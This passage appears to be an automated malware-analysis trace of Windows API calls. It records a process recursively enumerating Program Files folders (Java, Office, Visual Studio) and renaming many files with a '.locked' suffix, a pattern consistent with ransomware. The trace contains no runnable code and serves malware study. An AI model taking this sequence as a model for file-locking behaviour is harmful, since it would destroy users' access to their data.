lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x744e3080, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xedb34a60, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xedb34a60, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0125.362] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\security\\local_policy.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\security\\local_policy.jar"), lpNewFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\security\\local_policy.jar.locked" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\security\\local_policy.jar.locked"), dwFlags=0x2) returned 1 [0125.367] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\security\\US_export_policy.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\security\\us_export_policy.jar"), lpNewFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\security\\US_export_policy.jar.locked" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\security\\us_export_policy.jar.locked"), dwFlags=0x2) returned 1 [0125.371] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\zi\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x744e3080, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xedb5abc0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xedb5abc0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0125.376] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x744e3080, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xedb5abc0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xedb5abc0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0125.381] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xedb80d20, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xedb80d20, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0125.386] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Argentina\\*", lpFindFileData=0x42a9b8 | out: lpFindFileData=0x42a9b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xedb80d20, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xedb80d20, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f4, dwReserved1=0x42a7a0, cFileName=".", cAlternateFileName="")) returned 0x825990 [0125.390] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Indiana\\*", lpFindFileData=0x42a9b8 | out: lpFindFileData=0x42a9b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xedb80d20, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xedb80d20, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f4, dwReserved1=0x42a7a0, cFileName=".", cAlternateFileName="")) returned 0x825990 [0125.391] GetFileType (hFile=0xa0) returned 0x1 [0125.392] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Kentucky\\*", lpFindFileData=0x42a9b8 | out: lpFindFileData=0x42a9b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xedb80d20, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xedb80d20, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f4, dwReserved1=0x42a7a0, cFileName=".", cAlternateFileName="")) returned 0x825990 [0125.397] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\North_Dakota\\*", lpFindFileData=0x42a9b8 | out: lpFindFileData=0x42a9b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xedba6e80, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xedba6e80, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f4, dwReserved1=0x42a7a0, cFileName=".", cAlternateFileName="")) returned 0x825990 [0125.400] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xedba6e80, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xedba6e80, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0125.404] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xedba6e80, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xedba6e80, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0125.414] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xedbccfe0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xedbccfe0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0125.418] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xedbccfe0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xedbccfe0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0125.423] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xedbccfe0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xedbccfe0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0125.426] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xedbf3140, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xedbf3140, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0125.430] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xedbf3140, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xedbf3140, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0125.434] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xedbf3140, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xedbf3140, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0125.438] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xedbf3140, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xedbf3140, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0125.439] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Java\\jre7\\README.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\readme.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Java\\jre7\\README.txt.locked" (normalized: "c:\\program files (x86)\\java\\jre7\\readme.txt.locked"), dwFlags=0x2) returned 1 [0125.688] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME-JAVAFX.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\thirdpartylicensereadme-javafx.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME-JAVAFX.txt.locked" (normalized: "c:\\program files (x86)\\java\\jre7\\thirdpartylicensereadme-javafx.txt.locked"), dwFlags=0x2) returned 1 [0125.921] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\thirdpartylicensereadme.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME.txt.locked" (normalized: "c:\\program files (x86)\\java\\jre7\\thirdpartylicensereadme.txt.locked"), dwFlags=0x2) returned 1 [0125.926] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Java\\jre7\\Welcome.html" (normalized: "c:\\program files (x86)\\java\\jre7\\welcome.html"), lpNewFileName="C:\\\\Program Files (x86)\\Java\\jre7\\Welcome.html.locked" (normalized: "c:\\program files (x86)\\java\\jre7\\welcome.html.locked"), dwFlags=0x2) returned 1 [0125.928] GetFileType (hFile=0x108) returned 0x1 [0125.929] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Microsoft Analysis Services\\*", lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee0b5d40, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xee0b5d40, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42d6a8, cFileName=".", cAlternateFileName="")) returned 0x825810 [0125.930] GetFileType (hFile=0x120) returned 0x1 [0125.931] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee0b5d40, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xee0b5d40, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825890 [0125.934] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee0b5d40, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xee0b5d40, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0125.938] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51494530, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xee0b5d40, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xee0b5d40, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0125.938] GetFileType (hFile=0xc4) returned 0x1 [0125.939] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee0dbea0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xee0dbea0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0125.940] GetFileType (hFile=0xd4) returned 0x1 [0125.941] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee0dbea0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xee0dbea0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0125.941] GetFileType (hFile=0x108) returned 0x1 [0125.942] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Microsoft Office\\*", lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef0a44f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee0dbea0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xee0dbea0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42d6a8, cFileName=".", cAlternateFileName="")) returned 0x825810 [0125.946] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Microsoft Office\\Office14\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef0a44f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee0dbea0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xee0dbea0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825890 [0125.949] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Microsoft Office\\Office14\\1033\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef0a44f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee0dbea0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xee0dbea0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0125.950] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\*", lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f11a30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xee0dbea0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xee0dbea0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42d6a8, cFileName=".", cAlternateFileName="")) returned 0x825810 [0125.952] GetFileType (hFile=0x120) returned 0x1 [0125.952] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xee0dbea0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xee0dbea0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825890 [0125.955] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xee102000, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xee102000, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0125.956] GetFileType (hFile=0xc4) returned 0x1 [0125.957] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\PrivateAssemblies\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xee102000, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xee102000, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0125.960] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\PublicAssemblies\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52694b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xee102000, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xee102000, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0125.970] GetFileType (hFile=0xc4) returned 0x1 [0125.972] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xee102000, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xee102000, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0125.972] GetFileType (hFile=0xd4) returned 0x1 [0125.973] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xee128160, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xee128160, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0125.974] GetFileType (hFile=0xa0) returned 0x1 [0125.975] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\*", lpFindFileData=0x42a9b8 | out: lpFindFileData=0x42a9b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xee128160, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xee128160, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f4, dwReserved1=0x42a7a0, cFileName=".", cAlternateFileName="")) returned 0x825990 [0125.978] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\*", lpFindFileData=0x42a050 | out: lpFindFileData=0x42a050*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xee128160, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xee128160, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2f3, dwReserved1=0x429e38, cFileName=".", cAlternateFileName="")) returned 0x8259d0 [0126.016] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\AboutBox.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\aboutbox.zip"), lpNewFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\AboutBox.zip.locked" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\aboutbox.zip.locked"), dwFlags=0x2) returned 1 [0126.020] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\AppConfig.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\appconfig.zip"), lpNewFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\AppConfig.zip.locked" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\appconfig.zip.locked"), dwFlags=0x2) returned 1 [0126.023] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\AppConfigInternal.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\appconfiginternal.zip"), lpNewFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\AppConfigInternal.zip.locked" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\appconfiginternal.zip.locked"), dwFlags=0x2) returned 1 [0126.027] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\AssemblyInfo.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\assemblyinfo.zip"), lpNewFileName="C:\\\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\AssemblyInfo.zip.locked" (normalized: "c:\\program files (x86)\\microsoft visual studio 